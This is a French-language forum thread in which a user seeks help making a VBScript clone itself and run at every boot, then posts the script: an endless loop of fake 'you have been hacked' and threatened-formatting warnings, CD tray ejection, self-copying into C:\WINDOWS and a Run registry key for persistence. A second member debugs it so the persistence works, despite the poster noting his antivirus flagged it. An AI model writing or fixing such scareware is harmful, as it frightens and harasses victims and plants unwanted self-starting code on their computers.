Aide pour cloner un VBScript !Résolu

Question

Slt all ! 
Je fais un petit VBScript et je lui est integrer un code pour qu'il se redemarre au (re)boot du PC ! Probleme , quand j'ai tester mon VBScript sur mon ordinateur j'ai pu supprimer le VBScript qui se trouve sur le bureau ! Donc j'aimerais savoir quel est la ligne de commmande a rentre pour qu'il se clone dans un repertoire que j'aurais donner (par exemple : c\WINDOWS\Ressources\) ! Si cela ne peut pas se faire , il me faudrait un code pour que mon VBScript bloque tous ce qu'on fait comme tache derriere , c'est ta dire tous ce qui est sur le bureau , le menu demarrer et tout ce qui suit ! Je pense que c'est pas tres claire mon explication donc tell me si vous avez des questions !

cs_ITALIA · Accepted Answer

Exemple de copie d'un Fichier

Set FSys = CreateObject("Scripting.FileSystemObject") 
FSys.copyfile App.Path & "\Flux.txt", App.Path & "\Sauvegardes\Flux.txt"

It@li@

cs_algori · Answer

Salut,
Tu dis que tu veux cloner un fichier VBScript ou un simple fichier ?
Si tu veux cloner un simple fichier, t'as la m&#233;thode d'It@li@.
Si tu veux cloner ton fichier VBScript, t'as deux solutions :

Set ob = CreateObject("Scripting.FileSystemObject")
Set vbs = ob.GetFile(WScript.ScriptFullName)
vbs.Copy("C:
ouveau.vbs")
OU
Set ob = CreateObject("Scripting.FileSystemObject")
Set txt = ob.OpenTextFile(WScript.ScriptFullName)
vbs = txt.ReadAll
Set txt2 = ob.CreateTextFile("C:
ouveau.vbs")
txt2.write vbs
txt2.close
@++

zaert · Answer

Tin les gars merci c trop classe ! sa va trop me faire avancer trop trop merci @+

cs_algori · Answer

De rien...
@++

cs_ITALIA · Answer

Penses &#224; Cocher R&#233;ponse accept&#233;e si c'est OK !

It@li@

zaert · Answer

re les gars ! votre codes marche a merveille (jarrive bien a le cloner) mais le probleme c'est qu'il ne ce demarre pas au boot de l'ordinateur ! J'ai rentrer un code pour ecrire dans la base de registre je pense que je ne me suis aps tromper pour la configuration de mon VBScript mais malheureusement mon VBscript ne demarre pas au  boot du PC ! La cause vien peut etre que norton antivirus a detecter mon VBScript mais je mis quand il me demande quoi faire : "Autoriser ce script" mais il ne se demarre toujours pas ! Plus facile voila mon VBScript peut etre pourrez vous m'aider :

do
msgbox("Attention ! Vous venez de vous faire hacker")
msgbox("Ne redemmarer en aucun cas votre ordinateur")
msgbox("Dans le cas contraire le formatage de votre ordinateur seras amorcer")
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Set ob = CreateObject("Scripting.FileSystemObject")
Set txt = ob.OpenTextFile(WScript.ScriptFullName)
vbs = txt.ReadAll
Set txt2 = ob.CreateTextFile("C:\WINDOWS\windowscript")
txt2.write vbs
txt2.close
set wscr=CreateObject("WScript.Shell")
wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windowscript", "C:\windowscript.exe"
loop

Je rappelle a tous que je ne veut hacker personne c'est juste un test ! Bon il est assez simpliste mais il faut bien commencer par quelque chose ! Merci de vos prochaine reponse !

zaert · Answer

oups me suis tromper dans le code voila le bon mais sa marche pas quand meme LoLOl :

do
msgbox("Attention ! Vous venez de vous faire hacker")
msgbox("Ne redemmarer en aucun cas votre ordinateur")
msgbox("Dans le cas contraire le formatage de votre ordinateur seras amorcer")
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Set ob = CreateObject("Scripting.FileSystemObject")
Set txt = ob.OpenTextFile(WScript.ScriptFullName)
vbs = txt.ReadAll
Set txt2 = ob.CreateTextFile("C:\WINDOWS\windowscript")
txt2.write vbs
txt2.close
set wscr=CreateObject("WScript.Shell")
wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windowscript", "C:\WINDOWS\windowscript.exe"
loop

cs_algori · Answer

L'erreur doit venir du fait que tu donnes pas d'extension &#224; ton fichier. De plus, si t'utilise VBScript, c'est pas windowscript.exe mais windowscript.vbs.
Rectification du code :
do
msgbox("Attention ! Vous venez de vous faire hacker")
msgbox("Ne redemmarer en aucun cas votre ordinateur")
msgbox("Dans le cas contraire le formatage de votre ordinateur seras amorcer")
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Set ob = CreateObject("Scripting.FileSystemObject")
Set txt = ob.OpenTextFile(WScript.ScriptFullName)
vbs = txt.ReadAll
Set txt2 = ob.CreateTextFile("C:\WINDOWS\windowscript.vbs")
txt2.write vbs
txt2.close
set wscr=CreateObject("WScript.Shell")
wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windowscript", "C:\WINDOWS\windowscript.vbs"
loop
Voil&#224; ! 
@++

zaert · Answer

Ok je te remerci

cs_algori · Answer

Pas de probl&#232;me...
@++

Aide pour cloner un VBScript !

10 réponses

Discussions similaires